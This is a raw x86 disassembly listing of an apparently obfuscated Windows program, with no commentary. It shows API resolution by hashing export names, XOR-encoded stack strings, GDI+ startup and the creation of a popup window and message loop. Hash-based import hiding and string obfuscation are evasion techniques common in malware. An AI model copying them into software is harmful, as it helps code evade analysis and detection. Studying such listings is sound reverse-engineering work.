call fcn.004c0e80
test eax, eax
jne 0x4c2358
mov edi, dword [0x4d7870]
xor edx, edx
mov dword [esp + 0x24], edx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x20], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0xb70ca5a6
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c21fd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c21e0
cmp edx, 0x1b5c4109
je 0x4c2206
inc dword [esp + 0x24]
add esi, 4
jmp 0x4c21d0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
movaps xmm0, xmmword [0x4d33c0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edi
add eax, edi
movzx eax, word [eax + edx*2]
mov dh, 0x6a
mov esi, dword [ecx + eax*4]
mov cl, 0x18
mov ch, cl
mov byte [esp + 0x17e], 0
mov dl, cl
mov byte [esp + 0x178], dh
mov al, 0x2f
mov byte [esp + 0x17e], 0
mov ah, 5
mov dword [esp + 0x1d8], 0xe5c415a
xor cl, dh
mov dword [esp + 0x1dc], 0x4b4a4143
xor ch, dh
mov byte [esp + 0x17a], cl
xor al, dh
mov byte [esp + 0x17d], ch
xor dl, dh
mov byte [esp + 0x179], al
xor ah, dh
mov byte [esp + 0x17b], dl
movups xmmword [esp + 0x1b8], xmm0
add esi, edi
mov byte [esp + 0x17c], ah
movaps xmm0, xmmword [0x4d2d70]
xor ecx, ecx
movups xmmword [esp + 0x1c8], xmm0
mov byte [esp + 0x1e0], 0
nop
mov al, byte [esp + 0x1b8]
xor byte [esp + ecx + 0x1b9], al
inc ecx
cmp ecx, 0x27
jb 0x4c22b0
push 0x30
lea eax, [esp + 0x17d]
mov byte [esp + 0x1e4], 0
push eax
lea eax, [esp + 0x1c1]
push eax
push 0
call esi
mov edi, dword [0x4d787c]
xor edx, edx
mov dword [esp + 0x24], edx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x20], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xafd2f442
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c232d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c2310
cmp edx, 0x4a557ce7
je 0x4c2336
inc dword [esp + 0x24]
add esi, 4
jmp 0x4c2300
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edi
add eax, edi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, edi
call eax
add esp, 4
mov byte [esp + 0xc8], 0x54
mov al, 0x66
xor al, byte [esp + 0xc8]
mov cl, 0x6d
xor cl, byte [esp + 0xc8]
mov ch, 6
mov byte [esp + 0xc9], al
mov dl, 0x12
mov byte [esp + 0xca], cl
mov ah, 0x2e
mov cl, byte [esp + 0xc8]
mov dh, 0x3e
mov byte [esp + 0x14], 0x16
xor ch, cl
mov al, byte [esp + 0x14]
xor dl, cl
xor al, cl
mov byte [esp + 0x15], 0x17
mov byte [esp + 0xcf], al
xor ah, cl
mov al, byte [esp + 0x15]
xor dh, cl
xor al, cl
mov byte [esp + 0x16], 0x6c
mov byte [esp + 0xd0], al
mov al, byte [esp + 0x16]
xor al, cl
mov byte [esp + 0xcd], ch
mov byte [esp + 0xd2], 0
lea ecx, [esp + 0x1b8]
mov byte [esp + 0xcb], dl
mov byte [esp + 0xcc], ah
mov byte [esp + 0xce], dh
mov byte [esp + 0xd1], al
mov byte [esp + 0xd2], 0
call fcn.004b5360
lea ecx, [esp + 0xc9]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2410
sub ecx, edx
lea eax, [esp + 0xc9]
push ecx
push eax
lea ecx, [esp + 0x1c0]
call fcn.004b4ff0
mov byte [esp + 0x7c], 0x1f
mov al, 0x78
xor al, byte [esp + 0x7c]
mov cl, 0x7e
mov ch, 0x75
mov byte [esp + 0x7d], al
mov al, byte [esp + 0x7c]
mov dl, 0x6a
xor cl, al
mov byte [esp + 0x83], 0
xor ch, al
mov byte [esp + 0x7e], cl
mov ah, 0x59
mov byte [esp + 0x81], ch
mov dh, 0x49
mov byte [esp + 0x83], 0
xor dl, al
lea ecx, [esp + 0x7d]
xor ah, al
mov byte [esp + 0x7f], dl
xor dh, al
mov byte [esp + 0x80], ah
mov byte [esp + 0x82], dh
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2490
sub ecx, edx
lea eax, [esp + 0x7d]
push ecx
push eax
lea ecx, [esp + 0x1c0]
call fcn.004b4730
mov byte [esp + 0x144], 0xc
mov al, 0x60
xor al, byte [esp + 0x144]
mov cl, 0x44
xor cl, byte [esp + 0x144]
mov ch, 0x4f
mov byte [esp + 0x145], al
mov ah, 0x3f
mov byte [esp + 0x146], cl
mov dl, 0x7c
mov cl, byte [esp + 0x144]
mov dh, 0x3c
mov byte [esp + 0x14], 0x5a
xor ah, cl
mov al, byte [esp + 0x14]
xor dl, cl
xor al, cl
mov byte [esp + 0x15], ch
mov byte [esp + 0x14b], al
xor ch, cl
mov al, byte [esp + 0x15]
xor dh, cl
xor al, cl
mov byte [esp + 0x16], 0x5e
mov byte [esp + 0x14c], al
mov al, byte [esp + 0x16]
xor al, cl
mov byte [esp + 0x148], ah
mov byte [esp + 0x14d], al
lea eax, [esp + 0x145]
mov byte [esp + 0x149], ch
lea ecx, [esp + 0x1b8]
mov byte [esp + 0x14e], 0
push eax
mov byte [esp + 0x14b], dl
mov byte [esp + 0x14e], dh
mov byte [esp + 0x152], 0
call fcn.004b5380
test al, al
je 0x4c2630
mov byte [esp + 0xd4], 1
mov cl, 0x46
xor cl, byte [esp + 0xd4]
mov al, 0x77
xor al, byte [esp + 0xd4]
mov ch, 0x48
mov byte [esp + 0xd5], al
mov dl, 0x79
mov byte [esp + 0xd6], cl
mov dh, 0x56
mov cl, byte [esp + 0xd4]
mov ah, 0x73
mov byte [esp + 0x14], 0x72
xor dl, cl
mov al, byte [esp + 0x14]
xor ch, cl
xor al, cl
mov byte [esp + 0x15], 0x52
mov byte [esp + 0xdb], al
xor dh, cl
mov al, byte [esp + 0x15]
xor ah, cl
xor al, cl
mov byte [esp + 0x16], 0x31
mov byte [esp + 0xdc], al
mov al, byte [esp + 0x16]
xor al, cl
mov byte [esp + 0xd9], ch
lea ecx, [esp + 0xd5]
mov byte [esp + 0xde], 0
mov byte [esp + 0xd7], dl
mov byte [esp + 0xda], dh
lea edx, [ecx + 1]
mov byte [esp + 0xd8], ah
mov byte [esp + 0xdd], al
mov byte [esp + 0xde], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2612
sub ecx, edx
lea eax, [esp + 0xd5]
push ecx
push eax
lea ecx, [esp + 0x1c0]
call fcn.004b45a0
lea ecx, [esp + 0x1b8]
call fcn.004b3e90
call fcn.004c5820
mov byte [esp + 0x8c], 0x69
mov al, 0x59
xor al, byte [esp + 0x8c]
mov cl, 0xb
xor cl, byte [esp + 0x8c]
mov ch, 0x24
mov byte [esp + 0x8d], al
mov dl, 0xa
mov byte [esp + 0x8e], cl
mov ah, 0x38
mov cl, byte [esp + 0x8c]
mov dh, 0x2c
mov byte [esp + 0x14], 0xf
xor ch, cl
mov al, byte [esp + 0x14]
xor dl, cl
xor al, cl
mov byte [esp + 0x15], 0x13
mov byte [esp + 0x93], al
xor ah, cl
mov al, byte [esp + 0x15]
xor dh, cl
xor al, cl
mov byte [esp + 0x91], ch
mov byte [esp + 0x95], 0
lea ecx, [esp + 0x1b8]
mov byte [esp + 0x8f], dl
mov byte [esp + 0x90], ah
mov byte [esp + 0x92], dh
mov byte [esp + 0x94], al
mov byte [esp + 0x95], 0
call fcn.004b5360
lea ecx, [esp + 0x8d]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c26e6
sub ecx, edx
lea eax, [esp + 0x8d]
push ecx
push eax
lea ecx, [esp + 0x1c0]
call fcn.004b4ff0
mov byte [esp + 0x48], 0x1e
mov al, 0x7f
xor al, byte [esp + 0x48]
mov cl, 0x5d
mov byte [esp + 0x49], al
mov dl, 0x72
mov al, byte [esp + 0x48]
mov ch, 0x4e
mov dh, 0x26
mov byte [esp + 0x14], 0x6e
xor cl, al
mov byte [esp + 0x50], 0
xor dl, al
mov byte [esp + 0x4a], cl
xor ch, al
mov byte [esp + 0x4b], dl
xor dh, al
mov byte [esp + 0x4d], ch
mov ah, 0x7b
mov byte [esp + 0x4e], dh
xor ah, al
mov byte [esp + 0x50], 0
mov al, byte [esp + 0x14]
lea ecx, [esp + 0x49]
xor al, byte [esp + 0x48]
lea edx, [ecx + 1]
mov byte [esp + 0x4c], ah
mov byte [esp + 0x4f], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2761
sub ecx, edx
lea eax, [esp + 0x49]
push ecx
push eax
lea ecx, [esp + 0x1c0]
call fcn.004b4730
mov byte [esp + 0x108], 0x7d
mov al, 0x4e
xor al, byte [esp + 0x108]
mov cl, 0x32
xor cl, byte [esp + 0x108]
mov ah, 0x2e
mov byte [esp + 0x109], al
mov ch, 0x49
mov byte [esp + 0x10a], cl
mov dl, 0x37
mov cl, byte [esp + 0x108]
mov dh, 0x4f
mov byte [esp + 0x14], 9
xor ah, cl
mov al, byte [esp + 0x14]
xor ch, cl
xor al, cl
mov byte [esp + 0x15], 0x1c
mov byte [esp + 0x10f], al
xor dl, cl
mov al, byte [esp + 0x15]
xor dh, cl
xor al, cl
mov byte [esp + 0x10c], ah
mov byte [esp + 0x110], al
lea eax, [esp + 0x109]
mov byte [esp + 0x10d], ch
lea ecx, [esp + 0x1b8]
mov byte [esp + 0x111], 0
push eax
mov byte [esp + 0x10f], dl
mov byte [esp + 0x112], dh
mov byte [esp + 0x115], 0
call fcn.004b5380
test al, al
je 0x4c28f0
mov byte [esp + 0xe0], 0x7c
mov cl, 0x4d
xor cl, byte [esp + 0xe0]
mov al, 0x2e
xor al, byte [esp + 0xe0]
mov ch, 0x12
mov byte [esp + 0xe1], al
mov dl, 0xc
mov byte [esp + 0xe2], cl
mov dh, 0x45
mov cl, byte [esp + 0xe0]
mov ah, 0x30
mov byte [esp + 0x14], 0xd
xor dl, cl
mov al, byte [esp + 0x14]
xor ch, cl
xor al, cl
mov byte [esp + 0x15], 0x2a
mov byte [esp + 0xe7], al
xor dh, cl
mov al, byte [esp + 0x15]
xor ah, cl
xor al, cl
mov byte [esp + 0x16], 0x31
mov byte [esp + 0xe8], al
mov al, byte [esp + 0x16]
xor al, cl
mov byte [esp + 0xe5], ch
lea ecx, [esp + 0xe1]
mov byte [esp + 0xea], 0
mov byte [esp + 0xe3], dl
mov byte [esp + 0xe6], dh
lea edx, [ecx + 1]
mov byte [esp + 0xe4], ah
mov byte [esp + 0xe9], al
mov byte [esp + 0xea], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c28d2
sub ecx, edx
lea eax, [esp + 0xe1]
push ecx
push eax
lea ecx, [esp + 0x1c0]
call fcn.004b45a0
lea ecx, [esp + 0x1b8]
call fcn.004b3e90
push 0x4a9510
lea ecx, [esp + 0x25c]
call fcn.004b5610
lea ecx, [esp + 0x258]
call fcn.004a8760
mov byte [esp + 0xec], 0x76
mov al, 0x12
xor al, byte [esp + 0xec]
mov cl, 0x30
xor cl, byte [esp + 0xec]
mov ch, 0x17
mov byte [esp + 0xed], al
mov dl, 0x1c
mov byte [esp + 0xee], cl
mov ah, 0x35
mov cl, byte [esp + 0xec]
mov dh, 0x41
mov byte [esp + 0x14], 0x10
xor ch, cl
mov al, byte [esp + 0x14]
xor dl, cl
xor al, cl
mov byte [esp + 0x15], 0x46
mov byte [esp + 0xf3], al
xor ah, cl
mov al, byte [esp + 0x15]
xor dh, cl
xor al, cl
mov byte [esp + 0x16], 4
mov byte [esp + 0xf4], al
mov al, byte [esp + 0x16]
xor al, cl
mov byte [esp + 0xf1], ch
mov byte [esp + 0xf6], 0
lea ecx, [esp + 0x1e4]
mov byte [esp + 0xef], dl
mov byte [esp + 0xf0], ah
mov byte [esp + 0xf2], dh
mov byte [esp + 0xf5], al
mov byte [esp + 0xf6], 0
call fcn.004b5360
lea ecx, [esp + 0xed]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c29d0
sub ecx, edx
lea eax, [esp + 0xed]
push ecx
push eax
lea ecx, [esp + 0x1ec]
call fcn.004b4ff0
mov byte [esp + 0x54], 0x10
mov al, 0x40
xor al, byte [esp + 0x54]
mov cl, 0x73
mov byte [esp + 0x55], al
mov dl, 0x41
mov al, byte [esp + 0x54]
mov ah, 0x6a
xor cl, al
mov byte [esp + 0x14], 0x61
mov ch, 0x65
mov byte [esp + 0x56], cl
xor ch, al
mov byte [esp + 0x5c], 0
mov dh, 0x72
mov byte [esp + 0x59], ch
xor dl, al
mov byte [esp + 0x5c], 0
xor ah, al
mov byte [esp + 0x57], dl
xor dh, al
mov byte [esp + 0x58], ah
mov al, byte [esp + 0x14]
lea ecx, [esp + 0x1b8]
xor al, byte [esp + 0x54]
mov byte [esp + 0x5a], dh
mov byte [esp + 0x5b], al
call fcn.004b5360
lea ecx, [esp + 0x55]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2a57
sub ecx, edx
lea eax, [esp + 0x55]
push ecx
push eax
lea ecx, [esp + 0x1c0]
call fcn.004b4ff0
mov al, 0x45
mov byte [esp + 0x84], 0x77
mov cl, al
mov byte [esp + 0x8b], 0
xor al, byte [esp + 0x84]
mov ch, 0x31
mov byte [esp + 0x85], al
mov dl, 0x14
mov al, byte [esp + 0x84]
mov ah, 0x33
xor cl, al
mov byte [esp + 0x8b], 0
xor ch, al
mov byte [esp + 0x86], cl
mov dh, 0x47
mov byte [esp + 0x89], ch
xor dl, al
lea ecx, [esp + 0x85]
xor ah, al
mov byte [esp + 0x87], dl
xor dh, al
mov byte [esp + 0x88], ah
mov byte [esp + 0x8a], dh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2ae2
sub ecx, edx
lea eax, [esp + 0x85]
push ecx
push eax
lea ecx, [esp + 0x1c0]
call fcn.004b4730
mov byte [esp + 0x100], 0x68
mov al, 0x2d
xor al, byte [esp + 0x100]
mov cl, 4
mov byte [esp + 0x101], al
mov dl, 0x59
mov al, byte [esp + 0x100]
mov ch, 0x30
mov dh, 0x51
mov byte [esp + 0x107], 0
xor cl, al
mov byte [esp + 0x107], 0
xor dl, al
mov byte [esp + 0x102], cl
xor ch, al
mov byte [esp + 0x103], dl
xor dh, al
mov byte [esp + 0x105], ch
mov ah, 0x3f
mov byte [esp + 0x106], dh
xor ah, al
lea edx, [esp + 0x1b8]
lea ecx, [esp + 0x101]
mov byte [esp + 0x104], ah
call fcn.004b4a70
test al, al
je 0x4c2c4e
mov byte [esp + 0xa4], 0x45
mov cl, 0x21
xor cl, byte [esp + 0xa4]
mov al, 0x12
xor al, byte [esp + 0xa4]
mov ch, 0x14
mov byte [esp + 0xa5], al
mov dl, 0x70
mov byte [esp + 0xa6], cl
mov dh, 0x35
mov cl, byte [esp + 0xa4]
mov ah, 0x75
mov byte [esp + 0x14], 0xf
xor dl, cl
mov al, byte [esp + 0x14]
xor ch, cl
xor al, cl
mov byte [esp + 0x15], 0x36
mov byte [esp + 0xab], al
xor dh, cl
mov al, byte [esp + 0x15]
xor ah, cl
xor al, cl
mov byte [esp + 0x16], 0x73
mov byte [esp + 0xac], al
mov al, byte [esp + 0x16]
xor al, cl
mov byte [esp + 0xa9], ch
lea ecx, [esp + 0xa5]
mov byte [esp + 0xae], 0
mov byte [esp + 0xa7], dl
mov byte [esp + 0xaa], dh
lea edx, [ecx + 1]
mov byte [esp + 0xa8], ah
mov byte [esp + 0xad], al
mov byte [esp + 0xae], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2c30
sub ecx, edx
lea eax, [esp + 0xa5]
push ecx
push eax
lea ecx, [esp + 0x1ec]
call fcn.004b45a0
lea ecx, [esp + 0x1b8]
call fcn.004b3e90
lea ecx, [esp + 0x1e4]
call fcn.004b3e90
push 0
lea eax, [esp + 0x248]
mov dword [esp + 0x248], 1
push eax
lea eax, [esp + 0x25c]
mov dword [esp + 0x250], 0
push eax
mov dword [esp + 0x258], 0
mov dword [esp + 0x25c], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
call fcn.004b6670
mov al, 3
mov byte [esp + 0x120], 0x47
mov dl, al
mov byte [esp + 0x14], 0x29
xor al, byte [esp + 0x120]
mov cl, 0x74
xor cl, byte [esp + 0x120]
mov ch, 0x10
mov byte [esp + 0x121], al
sub esp, 0x18
mov al, byte [esp + 0x2c]
mov ah, 0x67
mov byte [esp + 0x13a], cl
mov dh, 0x2e
mov cl, byte [esp + 0x138]
mov esi, esp
xor al, cl
mov byte [esp + 0x2d], 0x23
mov byte [esp + 0x13f], al
xor ch, cl
mov al, byte [esp + 0x2d]
xor dl, cl
xor al, cl
mov byte [esp + 0x2e], 0x28
mov byte [esp + 0x140], al
xor ah, cl
mov al, byte [esp + 0x2e]
xor dh, cl
xor al, cl
mov byte [esp + 0x2f], 0x30
mov byte [esp + 0x141], al
mov al, byte [esp + 0x2f]
xor al, cl
mov byte [esp + 0x13d], ch
mov byte [esp + 0x143], 0
mov ecx, esi
mov byte [esp + 0x13b], dl
mov byte [esp + 0x13c], ah
mov byte [esp + 0x13e], dh
mov byte [esp + 0x142], al
mov byte [esp + 0x143], 0
call fcn.004b5360
lea ecx, [esp + 0x139]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2d78
sub ecx, edx
lea eax, [esp + 0x139]
push ecx
push eax
mov ecx, esi
call fcn.004b4ff0
lea ecx, [esp + 0x298]
call fcn.004beb20
mov eax, dword [esp + 0x34]
lea ecx, [esp + 0x298]
xorps xmm0, xmm0
mov dword [esp + 0x1a8], 0
add esp, 0x18
movlpd qword [esp + 0x198], xmm0
movlpd qword [esp + 0x1a4], xmm0
movlpd qword [esp + 0x1ac], xmm0
mov dword [esp + 0x1a0], eax
call fcn.004b3c20
mov edx, dword [0x4d7870]
xor edi, edi
mov dword [esp + 0x1b4], eax
mov dword [esp + 0x194], 0x4bfda0
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edx
nop dword [eax]
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x4223b7e8
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c2e3d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c2e20
cmp edx, 0x3dbba754
je 0x4c2e49
mov edx, dword [0x4d7870]
inc edi
add esi, 4
jmp 0x4c2e10
mov eax, dword [esp + 0x1c]
mov edx, dword [0x4d7870]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x190]
add eax, edx
push ecx
call eax
mov edx, dword [0x4d7880]
xor edi, edi
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edx
nop word [eax + eax]
mov ecx, dword [esi]
add ecx, edx
mov edx, 0xe203da66
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c2ebd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c2ea0
cmp edx, 0x43c91147
je 0x4c2ec9
mov edx, dword [0x4d7880]
inc edi
add esi, 4
jmp 0x4c2e90
mov eax, dword [esp + 0x1c]
mov edx, dword [0x4d7880]
push 0xf
push 0xf
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
push 0x258
push 0x190
push 0
movzx eax, word [eax + edi*2]
push 0
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov dword [esp + 0x28], eax
xor edi, edi
mov eax, dword [0x4d7870]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [esp + 0x1c], ecx
mov esi, dword [ecx + 0x20]
add esi, eax
mov ecx, dword [esi]
mov edx, 0xf534a452
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c2f44
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c2f27
cmp edx, 0x47cf6c08
je 0x4c2f4f
mov eax, dword [0x4d7870]
inc edi
add esi, 4
jmp 0x4c2f17
mov eax, dword [esp + 0x1c]
mov edx, dword [0x4d7870]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
mov dword [esp + 0x24], eax
call esi
cdq
sub eax, edx
sar eax, 1
sub eax, 0x12c
push 0
mov dword [esp + 0x20], eax
call esi
cdq
sub eax, edx
mov edi, eax
sar edi, 1
sub edi, 0xc8
call fcn.004bfa30
lea ecx, [esp + 0x280]
mov esi, eax
call fcn.004b3c20
push 0
push 0
push 0
push 0
push 0x257
push 0x18f
push dword [esp + 0x34]
push edi
push 0x96000000
push esi
push eax
push 0x20
call dword [esp + 0x50]
mov dword [0x4d7864], eax
xor edi, edi
mov eax, dword [0x4d7870]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [esp + 0x1c], ecx
mov esi, dword [ecx + 0x20]
add esi, eax
nop
mov ecx, dword [esi]
mov edx, 0x7c7ec10e
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c301d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3000
cmp edx, 0xdc0c7209
je 0x4c3028
mov eax, dword [0x4d7870]
inc edi
add esi, 4
jmp 0x4c2ff0
mov eax, dword [esp + 0x1c]
mov edx, dword [0x4d7870]
push 0
push dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
push dword [0x4d7864]
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov cl, 0x7e
mov byte [esp + 0x1a], 0
sub esp, 0x18
mov byte [esp + 0x30], cl
mov al, 0x57
mov byte [esp + 0x32], 0
xor al, cl
mov esi, esp
mov ecx, esi
mov byte [esp + 0x31], al
call fcn.004b5360
lea ecx, [esp + 0x31]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c3080
sub ecx, edx
lea eax, [esp + 0x31]
push ecx
push eax
mov ecx, esi
call fcn.004b4ff0
lea ecx, [esp + 0x22c]
call fcn.004beb20
add esp, 0x18
mov ecx, eax
call fcn.004b3c20
mov edi, eax
mov dword [esp + 0x1fc], 0x1c111255
mov cl, 0x55
mov dword [esp + 0x200], 0x3c02757e
mov dword [esp + 0x204], 0x223a313b
xor eax, eax
mov word [esp + 0x208], 0x7d75
mov byte [esp + 0x20a], 0
xor byte [esp + eax + 0x1fd], cl
inc eax
cmp eax, 0xd
jae 0x4c30fb
mov cl, byte [esp + 0x1fc]
jmp 0x4c30e5
lea eax, [esp + 0x22c]
mov byte [esp + 0x20a], 0
push eax
sub esp, 0x18
mov esi, esp
mov ecx, esi
call fcn.004b5360
lea ecx, [esp + 0x219]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c3121
sub ecx, edx
lea eax, [esp + 0x219]
push ecx
push eax
mov ecx, esi
call fcn.004b4ff0
lea ecx, [esp + 0x200]
call fcn.004beb20
add esp, 0x18
mov ecx, eax
call fcn.004b3c20
mov edx, eax
lea ecx, [esp + 0x1bc]
call fcn.004c3ab0
mov edx, edi
add esp, 4
lea esi, [edx + 2]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x4c3166
sub edx, esi
mov ecx, eax
sar edx, 1
push edx
push edi
call fcn.004c3a40
push eax
lea ecx, [esp + 0x29c]
call fcn.004be300
lea ecx, [esp + 0x1b8]
call fcn.004b4390
lea ecx, [esp + 0x1e4]
call fcn.004b4390
lea ecx, [esp + 0x214]
call fcn.004b4390
mov edi, dword [0x4d7870]
mov eax, dword [edi + 0x3c]
mov ecx, dword [eax + edi + 0x78]
xor eax, eax
add ecx, edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], ecx
mov esi, dword [ecx + 0x20]
add esi, edi
mov dword [esp + 0x20], esi
mov ecx, dword [esi]
mov edx, 0xf0e1b93c
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c31fe
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c31e1
cmp edx, 0xb98619c6
je 0x4c3207
inc dword [esp + 0x24]
add esi, 4
jmp 0x4c31d1
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x20]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x1c]
mov eax, dword [esp + 0x24]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x28], edx
lea eax, [ecx + eax*2]
movzx eax, word [eax + edi]
lea eax, [edx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
mov dword [esp + 0x2c], eax
xor eax, eax
mov dword [esp + 0x24], eax
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0x5e864e5d
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c326d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3250
cmp edx, 0x3dacad8b
je 0x4c3276
inc dword [esp + 0x24]
add esi, 4
jmp 0x4c3240
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x24]
lea eax, [ecx + eax*2]
mov ecx, dword [esp + 0x28]
movzx eax, word [eax + edi]
lea eax, [ecx + eax*4]
mov esi, dword [eax + edi]
lea ecx, [esp + 0x298]
add esi, edi
call fcn.004b3c20
push eax
push 0
call esi
push 0
push 0
push 0x10
push eax
call dword [esp + 0x3c]
xorps xmm0, xmm0
mov dword [esp + 0x278], 0
movaps xmmword [esp + 0x260], xmm0
movq qword [esp + 0x270], xmm0
nop dword [eax]
mov edi, dword [0x4d7870]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0x4e8c3a20
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c331d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3300
cmp edx, 0x1d12f35b
je 0x4c3326
inc dword [esp + 0x18]
add esi, 4
jmp 0x4c32f0
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push 0
push 0
mov eax, dword [edx + 0x24]
push 0
push dword [0x4d7864]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
lea ecx, [esp + 0x270]
add eax, edi
push ecx
call eax
test eax, eax
je 0x4c35f2
mov edi, dword [0x4d7870]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0xedfcdfb2
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c33ad
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3390
cmp edx, 0xa50afe7e
je 0x4c33b6
inc dword [esp + 0x18]
add esi, 4
jmp 0x4c3380
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push 0
push 0
mov eax, dword [edx + 0x24]
push dword [0x4d7864]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
lea ecx, [esp + 0x26c]
add eax, edi
push ecx
call eax
test eax, eax
jne 0x4c34ea
mov edi, dword [0x4d786c]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x1649b67e
